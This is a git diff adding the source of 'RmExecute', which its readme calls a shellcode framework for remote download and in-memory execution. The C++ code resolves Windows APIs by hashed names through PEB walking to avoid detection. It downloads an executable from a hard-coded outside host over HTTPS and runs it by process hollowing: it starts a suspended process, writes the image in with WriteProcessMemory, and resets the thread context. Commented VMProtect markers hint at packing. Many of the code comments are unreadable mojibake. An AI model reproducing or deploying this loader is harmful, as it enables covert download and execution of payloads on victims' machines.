%(AdditionalOptions) + + + Console + false + user32.lib;winhttp.lib;msvcrt.lib; + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/RmExecute/RmExecute.vcxproj.filters b/RmExecute/RmExecute.vcxproj.filters new file mode 100644 index 0000000..e138b48 --- /dev/null +++ b/RmExecute/RmExecute.vcxproj.filters @@ -0,0 +1,51 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {f1ff9032-204a-44ff-b5cf-e171033df1a4} + + + + + 头文件 + + + 头文件 + + + 头文件\Tool + + + 头文件 + + + 头文件 + + + 头文件 + + + + + 源文件 + + + 源文件 + + + 源文件 + + + \ No newline at end of file diff --git a/RmExecute/ShellCode.cpp b/RmExecute/ShellCode.cpp new file mode 100644 index 0000000..6742eb2 --- /dev/null +++ b/RmExecute/ShellCode.cpp @@ -0,0 +1,89 @@ +#include "ShellCode.h" + +//ʼתں +VOID _declspec(naked) mmLoaderSCStart() +{ + + __asm jmp Strat; +} + + + + +//ҪתΪshellcodeд +class RmExecute +{ +public: + // +#include"Tool.h" + +public: + //ģȫֱ---ǶĿȫֱĶ + + + Functions fn; + char s_runexe[260]; + char* newbuff; + + +public: + //ȫֱʼԼһЩʼIJ + RmExecute() + { + + newbuff = NULL; + Initfunctions(&fn); + char runexe[] = { 'A', 'A','\0' }; + fn.fnmemcpy(s_runexe, runexe, 260); + }; + + + + + ~RmExecute() + { + }; + + +public: + + + //ȡĿmainļStartSCode൱Ŀmain + void __stdcall StartSCode(char * URL) + { + + + wchar_t host[] = {'9','b','i','e','.','o','r','g' ,'\0' }; + wchar_t path[] = { '/','c','m','d','.','e','x','e','\0' }; + + + //ʹAPI֮ǰһҪַʧ + Initfunctions(&fn); + + int size = HttpDownload(host, path, 443, TRUE); + + fn.fnMessageBoxA(NULL, newbuff, NULL, MB_OK); + + RunPortableExecutable(); + + fn.fnfree(newbuff); + // HttpDownloadһҪfree + } + + + +}; + +//sehllcodeں +void __stdcall Strat(char * URL) +{ + //Ҫģȫֱʹ + RmExecute runclass; + + runclass.StartSCode(URL); +} + +void __declspec(naked) mmLoaderSCEnd() +{ + __asm int 3; +} \ No newline at end of file diff --git a/RmExecute/ShellCode.h b/RmExecute/ShellCode.h new file mode 100644 index 0000000..88e841e --- /dev/null +++ b/RmExecute/ShellCode.h @@ -0,0 +1,15 @@ +#include +#include +#include +#include +#include +#include "api.h" + + +EXTERN_C VOID +mmLoaderSCStart();//shellcodeĿʼ + +void __stdcall Strat(char * URL);//ںmain + +EXTERN_C VOID +mmLoaderSCEnd();//뿪ͷӦĽβ \ No newline at end of file diff --git a/RmExecute/Tool.h b/RmExecute/Tool.h new file mode 100644 index 0000000..440a874 --- /dev/null +++ b/RmExecute/Tool.h @@ -0,0 +1,381 @@ + +#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift))) + +HMODULE RmExecute::GetProcAddressWithHash(DWORD dwModuleFunctionHash) +{ + PPEB PebAddress; + PMY_PEB_LDR_DATA pLdr; + PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry; + PVOID pModuleBase; + PIMAGE_NT_HEADERS pNTHeader; + DWORD dwExportDirRVA; + PIMAGE_EXPORT_DIRECTORY pExportDir; + PLIST_ENTRY pNextModule; + DWORD dwNumFunctions; + USHORT usOrdinalTableIndex; + PDWORD pdwFunctionNameBase; + PCSTR pFunctionName; + UNICODE_STRING BaseDllName; + DWORD dwModuleHash; + DWORD dwFunctionHash; + PCSTR pTempChar; + DWORD i; + +#if defined(_WIN64) + PebAddress = (PPEB)__readgsqword(0x60); +#elif defined(_M_ARM) + PebAddress = (PPEB)((ULONG_PTR)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0); + __emit(0x00006B1B); +#else + PebAddress = (PPEB)__readfsdword(0x30); +#endif + + pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr; + pNextModule = pLdr->InLoadOrderModuleList.Flink; + pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule; + + while (pDataTableEntry->DllBase != NULL) + { + dwModuleHash = 0; + pModuleBase = pDataTableEntry->DllBase; + BaseDllName = pDataTableEntry->BaseDllName; + pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew); + dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress; + + //ȡһģַ + pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink; + + // ǰģ鲻κκתһģ ģ + if (dwExportDirRVA == 0) + { + continue; + } + + //ģϣֵ + for (i = 0; i < BaseDllName.MaximumLength; i++) + { + pTempChar = ((PCSTR)BaseDllName.Buffer + i); + + dwModuleHash = ROTR32(dwModuleHash, 13); + + if (*pTempChar >= 0x61) + { + dwModuleHash += *pTempChar - 0x20; + } + else + { + dwModuleHash += *pTempChar; + } + } + + pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA); + + dwNumFunctions = pExportDir->NumberOfNames; + pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames); + + for (i = 0; i < dwNumFunctions; i++) + { + dwFunctionHash = 0; + pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase); + pdwFunctionNameBase++; + + pTempChar = pFunctionName; + + do + { + dwFunctionHash = ROTR32(dwFunctionHash, 13); + dwFunctionHash += *pTempChar; + pTempChar++; + } while (*(pTempChar - 1) != 0); + + dwFunctionHash += dwModuleHash; + + if (dwFunctionHash == dwModuleFunctionHash) + { + usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i)); + return (HMODULE)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex))); + } + } + } + + return NULL; +} + + + + +void RmExecute::Initfunctions(Pfunctions pfn) +{ + + + pfn->fnLoadLibraryA = (pfnLoadLibraryA)GetProcAddressWithHash(HASH_LoadLibraryA); + + + + + + + + //ȡLoadLibraryAַ + + + pfn->fnGetModuleFileNameA = (pfnGetModuleFileNameA)GetProcAddressWithHash(HASH_GetModuleFileNameA); + + char szUser32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 }; + pfn->fnLoadLibraryA(szUser32); + char szMsvcrt[] = { 'm', 's', 'v', 'c', 'r', 't', '.', 'd', 'l', 'l', 0 }; + pfn->fnLoadLibraryA(szMsvcrt); + char szWinhttp[] = { 'w', 'i', 'n', 'h', 't', 't', 'p', '.', 'd', 'l', 'l', 0 }; + pfn->fnLoadLibraryA(szWinhttp); + + pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA); + pfn->fnCreateProcessA = (pfnCreateProcessA)GetProcAddressWithHash(HASH_CreateProcessA); + pfn->fnGetThreadContext = (pfnGetThreadContext)GetProcAddressWithHash(HASH_GetThreadContext); + pfn->fnReadProcessMemory = (pfnReadProcessMemory)GetProcAddressWithHash(HASH_ReadProcessMemory); + pfn->fnVirtualAllocEx = (pfnVirtualAllocEx)GetProcAddressWithHash(HASH_VirtualAllocEx); + pfn->fnWriteProcessMemory = (pfnWriteProcessMemory)GetProcAddressWithHash(HASH_WriteProcessMemory); + pfn->fnSetThreadContext = (pfnSetThreadContext)GetProcAddressWithHash(HASH_SetThreadContext); + pfn->fnResumeThread = (pfnResumeThread)GetProcAddressWithHash(HASH_ResumeThread); + pfn->fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddressWithHash(HASH_VirtualAlloc); + + + + + + + + + + pfn->fnmalloc = (pfnmalloc)GetProcAddressWithHash(HASH_malloc); + pfn->fnfree = (pfnfree)GetProcAddressWithHash(HASH_free); + pfn->fnmemset = (pfnmemset)GetProcAddressWithHash(HASH_memset); + pfn->fnmemcpy = (pfnmemcpy)GetProcAddressWithHash(HASH_memcpy); + pfn->fnmemcmp = (pfnmemcmp)GetProcAddressWithHash(HASH_memcmp); + pfn->fnstrlen = (pfnstrlen)GetProcAddressWithHash(HASH_strlen); + pfn->fnstrcpy = (pfnstrcpy)GetProcAddressWithHash(HASH_strcpy); + pfn->fnstrcat = (pfnstrcat)GetProcAddressWithHash(HASH_strcat); + + + + + pfn->fnWinHttpOpen = (pfnWinHttpOpen)GetProcAddressWithHash(HASH_WinHttpOpen); + pfn->fnWinHttpConnect = (pfnWinHttpConnect)GetProcAddressWithHash(HASH_WinHttpConnect); + pfn->fnWinHttpOpenRequest = (pfnWinHttpOpenRequest)GetProcAddressWithHash(HASH_WinHttpOpenRequest); + pfn->fnWinHttpAddRequestHeaders = (pfnWinHttpAddRequestHeaders)GetProcAddressWithHash(HASH_WinHttpAddRequestHeaders); + pfn->fnWinHttpSendRequest = (pfnWinHttpSendRequest)GetProcAddressWithHash(HASH_WinHttpSendRequest); + pfn->fnWinHttpReceiveResponse = (pfnWinHttpReceiveResponse)GetProcAddressWithHash(HASH_WinHttpReceiveResponse); + pfn->fnWinHttpQueryDataAvailable = (pfnWinHttpQueryDataAvailable)GetProcAddressWithHash(HASH_WinHttpQueryDataAvailable); + pfn->fnWinHttpReadData = (pfnWinHttpReadData)GetProcAddressWithHash(HASH_WinHttpReadData); + pfn->fnWinHttpCloseHandle = (pfnWinHttpCloseHandle)GetProcAddressWithHash(HASH_WinHttpCloseHandle); + + +} + + +// һҪfree +int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,BOOL useSSL =FALSE) { + + + DWORD dwSize = 0; + DWORD dwDownloaded = 0; + DWORD dwLast = 0; + LPSTR pszOutBuffer; + BOOL bResults = FALSE; + + HINTERNET hSession = NULL, + hConnect = NULL, + hRequest = NULL; + newbuff = NULL; + + + + // Use WinHttpOpen to obtain a session handle. + wchar_t Sign[] = { 'W','i','n','H','T','T','P',' ','E','x','a','m','p','l','e','/','1','.','0','\0' }; + + hSession = fn.fnWinHttpOpen(Sign, + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, 0); + + // Specify an HTTP server. + if (hSession) + hConnect = fn.fnWinHttpConnect(hSession, target, + port, 0); + wchar_t GET[] = { 'G','E','T','\0' }; + // Create an HTTP request handle. + if (hConnect){} + + + hRequest = fn.fnWinHttpOpenRequest(hConnect, GET, path, + NULL, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, + useSSL ? WINHTTP_FLAG_SECURE : 0); + + + + +/* +#ifndef _WIN64 + LPCWSTR header = L"Accept-platform: x86\n"; + SIZE_T len = lstrlenW(header); + WinHttpAddRequestHeaders(hRequest, header, len, WINHTTP_ADDREQ_FLAG_ADD); +#else + LPCWSTR header = L"Accept-platform: x64\n"; + SIZE_T len = lstrlenW(header); + WinHttpAddRequestHeaders(hRequest, header, len, WINHTTP_ADDREQ_FLAG_ADD); +#endif +*/ + + + // Send a request. + if (hRequest) + bResults = fn.fnWinHttpSendRequest(hRequest, + WINHTTP_NO_ADDITIONAL_HEADERS, 0, + WINHTTP_NO_REQUEST_DATA, 0, + 0, 0); + + + // End the request. + if (bResults) + bResults = fn.fnWinHttpReceiveResponse(hRequest, NULL); + + // Keep checking for data until there is nothing left. + if (bResults) + { + do + { + // Check for available data. + dwSize = 0; + if (!fn.fnWinHttpQueryDataAvailable(hRequest, &dwSize)) + return dwLast; + // Allocate space for the buffer. + //pszOutBuffer = new char[dwSize + 1]; + BOOL Second = FALSE; + if (dwLast != 0) { + newbuff = (char *)fn.fnmalloc(dwLast + dwSize + 1); + fn.fnmemset(newbuff, 0, dwLast + dwSize + 1); + fn.fnmemcpy(newbuff, pszOutBuffer, dwLast); + fn.fnfree(pszOutBuffer); + pszOutBuffer = newbuff; + dwLast += dwSize; + Second = TRUE; + } + else { + newbuff = (LPSTR)fn.fnmalloc(dwSize + 1); + pszOutBuffer = newbuff; + dwLast = dwSize; + + } + if (!pszOutBuffer) + { + return dwLast; + dwSize = 0; + } + else + { + // Read the data. + //ZeroMemory(pszOutBuffer, dwSize + 1); + + BOOL Flag; + if (Second) { + + Flag = fn.fnWinHttpReadData(hRequest, (LPVOID)(pszOutBuffer + dwLast-dwSize), + dwSize, &dwDownloaded); + } + else { + fn.fnmemset(pszOutBuffer, 0, dwSize + 1); + Flag = fn.fnWinHttpReadData(hRequest, (LPVOID)(pszOutBuffer), + dwSize, &dwDownloaded); + } + if (!Flag) + return dwLast; + + + // Free the memory allocated to the buffer. + //delete[] pszOutBuffer; + //fn.fnfree(pszOutBuffer); + + } + } while (dwSize > 0); + } + + + // Report any errors. + if (!bResults) + return dwLast; + + // Close any open handles. + if (hRequest) fn.fnWinHttpCloseHandle(hRequest); + if (hConnect) fn.fnWinHttpCloseHandle(hConnect); + if (hSession) fn.fnWinHttpCloseHandle(hSession); + return dwLast; +} + + +bool RmExecute::RunPortableExecutable() +{ + + IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols + IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols + IMAGE_SECTION_HEADER* SectionHeader; + + PROCESS_INFORMATION PI; + STARTUPINFOA SI; + + CONTEXT* CTX; + + DWORD* ImageBase = NULL;; //Base address of the image + void* pImageBase = NULL;; // Pointer to the image base + + char CurrentFilePath[MAX_PATH]; + + DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable + NtHeader = PIMAGE_NT_HEADERS(DWORD(newbuff) + DOSHeader->e_lfanew); // Initialize + + fn.fnGetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable + + if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File. + { + //ZeroMemory(&PI, sizeof(PI)); // Null the memory + //ZeroMemory(&SI, sizeof(SI)); // Null the memory + fn.fnmemset(&PI, 0, sizeof(PI)); + fn.fnmemset(&SI, 0, sizeof(SI)); + if (fn.fnCreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) //make process in suspended state, for the new image. + { + // Allocate memory for the context. + CTX = LPCONTEXT(fn.fnVirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); + CTX->ContextFlags = CONTEXT_FULL; // Context is allocated + + if (fn.fnGetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread + { + // Read instructions + fn.fnReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); + pImageBase = fn.fnVirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); + + //fix randomly crash + if (pImageBase == 0) { + fn.fnResumeThread(PI.hThread); + return 1; + } + else { + // Write the image to the process + fn.fnWriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL); + for (int count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) + { + SectionHeader = PIMAGE_SECTION_HEADER(DWORD(newbuff) + DOSHeader->e_lfanew + 248 + (count * 40)); + fn.fnWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); + } + fn.fnWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); + + // Move address of entry point to the eax register + CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; + fn.fnSetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context + fn.fnResumeThread(PI.hThread); //?Start the process/call main() + } + + return true; // Operation was successful. + } + } + } + return false; +} diff --git a/RmExecute/api.h b/RmExecute/api.h new file mode 100644 index 0000000..ffc0c5d --- /dev/null +++ b/RmExecute/api.h @@ -0,0 +1,234 @@ +#pragma once +#include "hash.h" +#include +#include +//ϣֵ +#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift))) + +//¶PEBṹwinternl.hеĽṹDzġ +typedef struct _MY_PEB_LDR_DATA { + ULONG Length; + BOOL Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA; + +typedef struct _MY_LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; +} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY; + + +//庯ָ + +// Kernel32 + +typedef LPVOID (WINAPI* pfnVirtualAlloc)( + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flAllocationType, + DWORD flProtect +); +typedef DWORD(WINAPI* pfnGetModuleFileNameA)( + HMODULE hModule, + LPSTR lpFilename, + DWORD nSize + ); + +typedef BOOL (WINAPI *pfnCreateProcessA)( + LPCSTR lpApplicationName, + LPSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCSTR lpCurrentDirectory, + LPSTARTUPINFOA lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation +); +typedef BOOL (WINAPI * pfnGetThreadContext)( + HANDLE hThread, + LPCONTEXT lpContext +); + +typedef BOOL (WINAPI * pfnReadProcessMemory)( + HANDLE hProcess, + LPCVOID lpBaseAddress, + LPVOID lpBuffer, + SIZE_T nSize, + SIZE_T* lpNumberOfBytesRead +); + +typedef LPVOID (WINAPI * pfnVirtualAllocEx)( + HANDLE hProcess, + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flAllocationType, + DWORD flProtect +); + +typedef BOOL (WINAPI * pfnWriteProcessMemory)( + HANDLE hProcess, + LPVOID lpBaseAddress, + LPCVOID lpBuffer, + SIZE_T nSize, + SIZE_T* lpNumberOfBytesWritten +); + +typedef BOOL (WINAPI* pfnSetThreadContext)( + HANDLE hThread, + const CONTEXT* lpContext +); + + +typedef DWORD (WINAPI* pfnResumeThread)( + HANDLE hThread +); + +typedef HMODULE(WINAPI* pfnLoadLibraryA)(LPCSTR lpLibFileName); + +//user_32 + +typedef int (WINAPI *pfnMessageBoxA)(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType); + + + +// Msvcrt +typedef void* (__cdecl* pfnmalloc)(size_t _Size); +typedef void (WINAPI* pfnfree)(void* _Memory); +typedef void* (WINAPI* pfnmemset)(_Out_writes_bytes_all_(_Size) void* _Dst, _In_ int _Val, _In_ size_t _Size); +typedef void* (WINAPI* pfnmemcpy)(void* _Dst, const void* _Src, _In_ size_t _Size); +typedef void(WINAPI* pfnsrand)(_In_ unsigned int _Seed); +typedef __time32_t(WINAPI* pfn_time32)(_Out_opt_ __time32_t* _Time); +typedef int(WINAPI* pfnrand)(void); +typedef char* (WINAPI* pfnstrrchr)(_In_z_ const char* _Str, _In_ int _Ch); +typedef size_t(WINAPI* pfnstrlen)(_In_z_ const char* _Str); +typedef void* (WINAPI* pfmemmove)(_Out_writes_bytes_all_opt_(_Size) void* _Dst, _In_reads_bytes_opt_(_Size) const void* _Src, _In_ size_t _Size); +typedef int(__cdecl* pfnmemcmp)(_In_reads_bytes_(_Size) const void* _Buf1, _In_reads_bytes_(_Size) const void* _Buf2, _In_ size_t _Size); +typedef char* (WINAPI* pfnstrcpy)(char* _Dest, const char* _Source); +typedef char* (WINAPI* pfnstrcat)(char* _Dest, _In_z_ const char* _Source); + + +//WinHttp +typedef LPVOID HINTERNET; +typedef HINTERNET* LPHINTERNET; + +typedef WORD INTERNET_PORT; + +typedef INTERNET_PORT* LPINTERNET_PORT; +typedef HINTERNET(WINAPI * pfnWinHttpOpen)( + LPCWSTR pszAge, + DWORD dwAccessType, + LPCWSTR pszProxyW, + LPCWSTR pszProxyBypassW, + DWORD dwFlags +); + +typedef HINTERNET (WINAPI* pfnWinHttpConnect)( + HINTERNET hSession, + LPCWSTR pswzServerName, + INTERNET_PORT nServerPort, + DWORD dwReserved +); + +typedef HINTERNET (WINAPI *pfnWinHttpOpenRequest)( + HINTERNET hConnect, + LPCWSTR pwszVerb, + LPCWSTR pwszObjectName, + LPCWSTR pwszVersion, + LPCWSTR pwszReferrer, + LPCWSTR* ppwszAcceptTypes, + DWORD dwFlags +); +typedef BOOL(WINAPI* pfnWinHttpAddRequestHeaders)( + HINTERNET hRequest, + LPCWSTR lpszHeaders, + DWORD dwHeadersLength, + DWORD dwModifiers +); + +typedef BOOL(WINAPI* pfnWinHttpSendRequest)( + HINTERNET hRequest, + LPCWSTR lpszHeaders, + DWORD dwHeadersLength, + LPVOID lpOptional, + DWORD dwOptionalLength, + DWORD dwTotalLength, + DWORD_PTR dwContext +); + +typedef BOOL (WINAPI* pfnWinHttpReceiveResponse)( + HINTERNET hRequest, + LPVOID lpReserved +); + +typedef BOOL (WINAPI* pfnWinHttpQueryDataAvailable)( + HINTERNET hRequest, + LPDWORD lpdwNumberOfBytesAvailable +); + +typedef BOOL (WINAPI* pfnWinHttpReadData)( + HINTERNET hRequest, + LPVOID lpBuffer, + DWORD dwNumberOfBytesToRead, + LPDWORD lpdwNumberOfBytesRead +); +typedef BOOL (WINAPI* pfnWinHttpCloseHandle)( + HINTERNET hInternet +); + + + +//ָṹ +typedef struct _FUNCTIONS +{ + pfnVirtualAlloc fnVirtualAlloc; + pfnGetModuleFileNameA fnGetModuleFileNameA; + pfnCreateProcessA fnCreateProcessA; + pfnGetThreadContext fnGetThreadContext; + pfnReadProcessMemory fnReadProcessMemory; + pfnVirtualAllocEx fnVirtualAllocEx; + pfnWriteProcessMemory fnWriteProcessMemory; + pfnSetThreadContext fnSetThreadContext; + pfnResumeThread fnResumeThread; + + pfnLoadLibraryA fnLoadLibraryA; + + + + pfnMessageBoxA fnMessageBoxA; + pfnmalloc fnmalloc; + pfnfree fnfree; + pfnmemset fnmemset; + pfnmemcpy fnmemcpy; + pfnmemcmp fnmemcmp; + pfnsrand fnsrand; + pfnrand fnrand; + pfnstrlen fnstrlen; + + pfnstrcpy fnstrcpy; + pfnstrcat fnstrcat; + + pfnWinHttpOpen fnWinHttpOpen; + pfnWinHttpConnect fnWinHttpConnect; + pfnWinHttpOpenRequest fnWinHttpOpenRequest; + pfnWinHttpAddRequestHeaders fnWinHttpAddRequestHeaders; + pfnWinHttpSendRequest fnWinHttpSendRequest; + pfnWinHttpReceiveResponse fnWinHttpReceiveResponse; + pfnWinHttpQueryDataAvailable fnWinHttpQueryDataAvailable; + pfnWinHttpReadData fnWinHttpReadData; + pfnWinHttpCloseHandle fnWinHttpCloseHandle; + +}Functions,*Pfunctions; + + diff --git a/RmExecute/hash.h b/RmExecute/hash.h new file mode 100644 index 0000000..ba12959 --- /dev/null +++ b/RmExecute/hash.h @@ -0,0 +1,31 @@ +#define HASH_VirtualAlloc 0xE553A458 +#define HASH_GetModuleFileNameA 0xFE61445D +#define HASH_LoadLibraryA 0x0726774C +#define HASH_CreateProcessA 0x863FCC79 +#define HASH_GetThreadContext 0xD1425C18 +#define HASH_ReadProcessMemory 0x71F9D3C2 +#define HASH_VirtualAllocEx 0x3F9287AE +#define HASH_WriteProcessMemory 0xE7BDD8C5 +#define HASH_SetThreadContext 0xD14E5C18 +#define HASH_ResumeThread 0x8EF4092B + +#define HASH_MessageBoxA 0x07568345 + +#define HASH_malloc 0x7EA37D50 +#define HASH_free 0x08FF1A9F +#define HASH_memset 0x8D2B8AD2 +#define HASH_memcmp 0x6D0B8CD2 +#define HASH_memcpy 0x6D538D92 +#define HASH_strlen 0xFF13DAD9 +#define HASH_strcpy 0xED6BDD99 +#define HASH_strcat 0xED43D9D9 + +#define HASH_WinHttpOpen 0xBB9D1F04 +#define HASH_WinHttpConnect 0xC21E9B46 +#define HASH_WinHttpOpenRequest 0x5BB31098 +#define HASH_WinHttpAddRequestHeaders 0x6DF126A0 +#define HASH_WinHttpSendRequest 0x91BB5895 +#define HASH_WinHttpReceiveResponse 0x709D8805 +#define HASH_WinHttpQueryDataAvailable 0x4A050E50 +#define HASH_WinHttpReadData 0x7E24296C +#define HASH_WinHttpCloseHandle 0x5DAEF12F \ No newline at end of file diff --git a/RmExecute/open.txt b/RmExecute/open.txt new file mode 100644 index 0000000..02cfe0b --- /dev/null +++ b/RmExecute/open.txt @@ -0,0 +1 @@ +213 \ No newline at end of file diff --git a/RmExecute/stdafx.cpp b/RmExecute/stdafx.cpp new file mode 100644 index 0000000..b7686a5 --- /dev/null +++ b/RmExecute/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : ֻ׼ļԴļ +// RcDllShelcode.pch ΪԤͷ +// stdafx.obj ԤϢ + +#include "stdafx.h" + +// TODO: STDAFX.H +// κĸͷļڴļ diff --git a/RmExecute/stdafx.h b/RmExecute/stdafx.h new file mode 100644 index 0000000..2bae7ae --- /dev/null +++ b/RmExecute/stdafx.h @@ -0,0 +1,113 @@ +// stdafx.h : ׼ϵͳļİļ +// Ǿʹõĵ +// ضĿİļ +// + +#pragma once + +#include "targetver.h" + +#include +#include + +/* +#define VMP_BEGINV \ +_asm _emit 0xEB \ +_asm _emit 0x10 \ +_asm _emit 0x56 \ +_asm _emit 0x4D \ +_asm _emit 0x50 \ +_asm _emit 0x72 \ +_asm _emit 0x6F \ +_asm _emit 0x74 \ +_asm _emit 0x65 \ +_asm _emit 0x63 \ +_asm _emit 0x74 \ +_asm _emit 0x20 \ +_asm _emit 0x62 \ +_asm _emit 0x65 \ +_asm _emit 0x67 \ +_asm _emit 0x69 \ +_asm _emit 0x6E \ +_asm _emit 0x01 + +#define VMP_BEGINM \ +_asm _emit 0xEB \ +_asm _emit 0x10 \ +_asm _emit 0x56 \ +_asm _emit 0x4D \ +_asm _emit 0x50 \ +_asm _emit 0x72 \ +_asm _emit 0x6F \ +_asm _emit 0x74 \ +_asm _emit 0x65 \ +_asm _emit 0x63 \ +_asm _emit 0x74 \ +_asm _emit 0x20 \ +_asm _emit 0x62 \ +_asm _emit 0x65 \ +_asm _emit 0x67 \ +_asm _emit 0x69 \ +_asm _emit 0x6E \ +_asm _emit 0x02 + + +#define VMP_BEGINU \ +_asm _emit 0xEB \ +_asm _emit 0x10 \ +_asm _emit 0x56 \ +_asm _emit 0x4D \ +_asm _emit 0x50 \ +_asm _emit 0x72 \ +_asm _emit 0x6F \ +_asm _emit 0x74 \ +_asm _emit 0x65 \ +_asm _emit 0x63 \ +_asm _emit 0x74 \ +_asm _emit 0x20 \ +_asm _emit 0x62 \ +_asm _emit 0x65 \ +_asm _emit 0x67 \ +_asm _emit 0x69 \ +_asm _emit 0x6E \ +_asm _emit 0x03 + +#define VMP_BEGIN \ +_asm _emit 0xEB \ +_asm _emit 0x10 \ +_asm _emit 0x56 \ +_asm _emit 0x4D \ +_asm _emit 0x50 \ +_asm _emit 0x72 \ +_asm _emit 0x6F \ +_asm _emit 0x74 \ +_asm _emit 0x65 \ +_asm _emit 0x63 \ +_asm _emit 0x74 \ +_asm _emit 0x20 \ +_asm _emit 0x62 \ +_asm _emit 0x65 \ +_asm _emit 0x67 \ +_asm _emit 0x69 \ +_asm _emit 0x6E \ +_asm _emit 0x00 + +#define VMP_END \ +_asm _emit 0xEB \ +_asm _emit 0x0E \ +_asm _emit 0x56 \ +_asm _emit 0x4D \ +_asm _emit 0x50 \ +_asm _emit 0x72 \ +_asm _emit 0x6F \ +_asm _emit 0x74 \ +_asm _emit 0x65 \ +_asm _emit 0x63 \ +_asm _emit 0x74 \ +_asm _emit 0x20 \ +_asm _emit 0x65 \ +_asm _emit 0x6E \ +_asm _emit 0x64 \ +_asm _emit 0x00 +// TODO: ڴ˴óҪͷļ +*/ \ No newline at end of file diff --git a/RmExecute/targetver.h b/RmExecute/targetver.h new file mode 100644 index 0000000..7a7d2c8 --- /dev/null +++ b/RmExecute/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// SDKDDKVer.h õ߰汾 Windows ƽ̨ + +// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h +// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h + +#include diff --git a/readme.md b/readme.md new file mode 100644 index 0000000..94cdd4a --- /dev/null +++ b/readme.md @@ -0,0 +1,77 @@ +# RmExecute + +Remote Download and Memory Execute for shellcode framework + +远程下载并内存加载的ShellCode框架,暂不支持X64 + +# 参(抄)考(袭)项目 + +## [windows下shellcode提取模板的实现](https://bbs.pediy.com/thread-229398.htm) + +主要抄袭来源,直接使用这位大佬的shellcode框架,并且强烈推荐看下他文章内的doc,分析的非常好 + +## 